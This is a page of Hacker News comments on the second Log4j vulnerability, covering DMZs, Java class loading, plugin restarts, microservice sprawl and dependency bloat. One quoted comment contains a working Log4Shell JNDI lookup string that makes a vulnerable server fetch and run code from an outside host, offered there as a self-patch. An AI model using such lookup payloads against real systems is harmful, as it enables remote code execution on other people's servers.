Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Log4Shell update: second Log4j vulnerability published

lunasec.io

Post reply on HN
Print view View original

181–190 of 289 posts

Re: Log4Shell update: second Log4j vulnerability published

#181

Post by iso1631 »

cube00 wrote: post #35
ReaLNero wrote: post #10

Earlier quoted context omitted.

run a Digital Ocean droplet hosting the server? It's up to you if the costs justify the benefits.

This why I've given up and just pay to host anything external to scratch my self hosting itch. If they somehow manage to get in at least they won't be roaming around inside my home network. The flood of failed auth attempts and weird looking strings being sent to my web server is never ending. It might be something worth reconsidering once the world is on IPv6 and we have proper subnetting we can use at home.

> If they somehow manage to get in at least they won't be roaming around inside my home network.

Why would you have such a server on your home network and not in a DMZ?

Re: Log4Shell update: second Log4j vulnerability published

#182

Post by adambatkin »

qalmakka wrote: post #162

(Maybe) Unpopular opinion: this whole ordeal is also due to the JRE being a clusterfuck of legacy and poor ideas. I understand it was the 90s but allowing to download arbitrary .class files from a server is _insane_, no matter how you spin it around.

Maybe your opinion is unpopular for a reason. C and C++ has always suffered from the ability to corrupt some memory (like overrun a buffer) and jump into and start executing some user-provided arbitrary data. Perl/Python/Ruby/PHP and friends all have eval() which is even easier to exploit. Rust and maybe Go are much in this respect (because in most cases you need to deliberately mark a piece of code as unsafe before you'd be in too much trouble) but even then, the developer could always make a logic error and (for example) take a parameter from the user and use it to generate a filename and overwrite something on the system. And with this bug, the issue isn't something like a missing bounds check or off-by-one error, but a deliberate feature that someone wrote to work this way (yes there were some interactions they probably didn't think about, but it's obvious to everyone that it's never okay to decide the format string in the log message itself, that should be part of your static configuration).

Re: Log4Shell update: second Log4j vulnerability published

#183

Post by PenguinCoder »

eMGm4D0zgUAVXc7 wrote: post #178
runeks wrote: post #170

Earlier quoted context omitted.

Agreed. Loading and running arbitrary Java byte code should not be possible from user code. Only the runtime system should have this ability.

How do you want to write software which supports plugins then? Force the user to restart everything if they need a plugin? Or do you want to force developers to only ever write monolithic software now?

> restart everything if they need a plugin

Yes. Hopefully ensures that only people authorized to actually restart the service can add arbitrary code.

Re: Log4Shell update: second Log4j vulnerability published

#184

Post by bollockitis »

silisili wrote: post #63
Pxtl wrote: post #8

Write simple software. The fact that log.Debug(someString) means someString is actually a format string in an elaborate domain-specific language instead of simple goddamned text is emblematic of the crisis the industry is in.

I'd argue it's more a symptom of the Java ecosystem than anything, and probably a lot more to come. From my brief tenure with it, it seemed to be 'add everything, deprecate nothing'. I remember when writing my first Java code from reference, it all worked, then my coworkers grilled me for using some -builtin- libraries because 'nobody uses that anymore.' That, and Java does everything their own way. From bouncycastle…

To be fair, Java existed before a lot of modern standards and its primary goals were to be fully object-oriented (because every project manager was convinced that this was the best approach at the time) and cross-platform, so they kind of HAD to rewrite everything. Everything needed a Java-friendly OO interface and had to run on the JVM on a bunch of different platforms spanning everything from Solaris servers to embedded devices.

In hindsight it’s easy to say that this was an overly ambitious project with vague goals but it made sense in 1995 when technology was revolutionizing everything and creating new domains and markets.

Re: Log4Shell update: second Log4j vulnerability published

#185

Post by kergonath »

eitland wrote: post #56
freeqaz wrote: post #13

We also wrote a Log4Shell payload that will in-memory "hot patch" your server against Log4Shell. ${jndi:ldap://hotpatch.log4shell.com:1389/a} If you paste that into a vulnerable server (or even throw it into a log statement in your `main` function), that'll patch you against this until you can manage to update properly. Source code is on GitHub here[0][1] if you want to host it yourself. (This work is based on Logout…

Heh. I remember seeing a framework for this kind of thing, i.e. using exploits to display warnings, hotpatch or otherwise patch servers back on Hackcon #1 in February 2006 in Oslo. I think it was HP who presented it and I also can't remember hearing about it since and I think there are good reasons for that[1]. In this case however the advantages might actually outweigh the risks as long as it is done carefully. [1]:…

> others mention services or servers that no one know how to restart anymore.

This sounds properly terrifying. How do you even realise that you are in such a situation before it is too late?

Re: Log4Shell update: second Log4j vulnerability published

#186

Post by eMGm4D0zgUAVXc7 »

PenguinCoder wrote: post #183
eMGm4D0zgUAVXc7 wrote: post #178

Earlier quoted context omitted.

How do you want to write software which supports plugins then? Force the user to restart everything if they need a plugin? Or do you want to force developers to only ever write monolithic software now?

> restart everything if they need a plugin Yes. Hopefully ensures that only people authorized to actually restart the service can add arbitrary code.

Have a look at the forced restarts of Windows due to updates having become a well-hated meme to see how lucky you'll be in explaining that to the users.

Re: Log4Shell update: second Log4j vulnerability published

#187

Post by corpMaverick »

Why is this so hard? It should be very easy to fix this. Set the correct version in the pom.xml. Commit and push to master and deploy. right? easy. It should be a half an hour thing. But at my employer, we still have dozens of teams struggling.

Two reasons:

- Branching hell.- Many teams don't do continuous integration. They have branches over branches over branches. There are many changes that are not in prod. Continuous integration is about integrating several times a day. David Farley frequently talks about this. https://www.youtube.com/watch?v=Xl62gQpAl1w

- Microservices hell. - The advantage of microservices is that teams can deploy independently of each other. But many companies ended up with way too many of them. We have a few hundred. I suspect, many of them abandon. Their teams already moved to new things and noone knows how to deploy them. They haven't been deployed in a long time.

Re: Log4Shell update: second Log4j vulnerability published

#188

Post by eptcyka »

freeqaz wrote: post #49
Bluecobra wrote: post #29

Earlier quoted context omitted.

Now that is really clever. One of affected products I use is Juniper Space to monitor our network infrastructure (which uses OpenNMS). Juniper’s only workaround currently is to completely disable OpenNMS, thereby leaving us in the dark for monitoring. This would be an excellent workaround, though I have been unable to trigger any PoC code.

Shoot me an email -- we are also offering this "live patching" idea as a service now (due to Log4Shell). free at lunasec daht io (or use the contact form on https://www.lunasec.io instead) It's just a Java dependency that you add to your classpath. Under the hood, it regularly checks for patches, and then live updates to patch a vulnerability (like Log4Shell) without you ever needing to do anything. The Open Source r…

One has to be very trusting of you to give you an RCE to plug security holes

Re: Log4Shell update: second Log4j vulnerability published

#189

Post by hutzlibu »

eptcyka wrote: post #188
freeqaz wrote: post #49

Earlier quoted context omitted.

Shoot me an email -- we are also offering this "live patching" idea as a service now (due to Log4Shell). free at lunasec daht io (or use the contact form on https://www.lunasec.io instead) It's just a Java dependency that you add to your classpath. Under the hood, it regularly checks for patches, and then live updates to patch a vulnerability (like Log4Shell) without you ever needing to do anything. The Open Source r…

One has to be very trusting of you to give you an RCE to plug security holes

If you do not trust them, you probably should not use their code, without deeper examination, either.

Re: Log4Shell update: second Log4j vulnerability published

#190

Post by sumtechguy »

gjvc wrote: post #155
iSnow wrote: post #123

Earlier quoted context omitted.

Really, what's the point of a quip like this? That's like saying I never saw a Lisp program that didn't have a lot of brackets. Minimal only makes sense within one language ecosystem. Java tends to be more verbose than some other languages, I guess that is common knowledge.

In a corporate setting he's probably right. Java came of age in the early 00s when a new generation of programmers were seeking a revolution, and there was a Cambrian explosion of interfaces, modularity, and pluggability, first with J2EE and with Spring being the second wave. The pendulum of change is always in swing, and with time some people grew tired (but many didn't) of enormous "enterprise" application framewor…

Java is kind of 'heavy'. One project I was changing yesterday. Well over 150MB of jar files dragged in. There is maybe 50 lines of total code in the whole project. You put in the right depend in your pom file and it seems like it drags in half of the java world. Plus whatever jar files are flatpacked into those.

So with the fun bit of flatpack you have to look at all of your dependencies and see if they are somehow sneaking that bad boy in. Luckily most just use pom depends and just pull the jar in and you can override at the top level.

Post reply on HN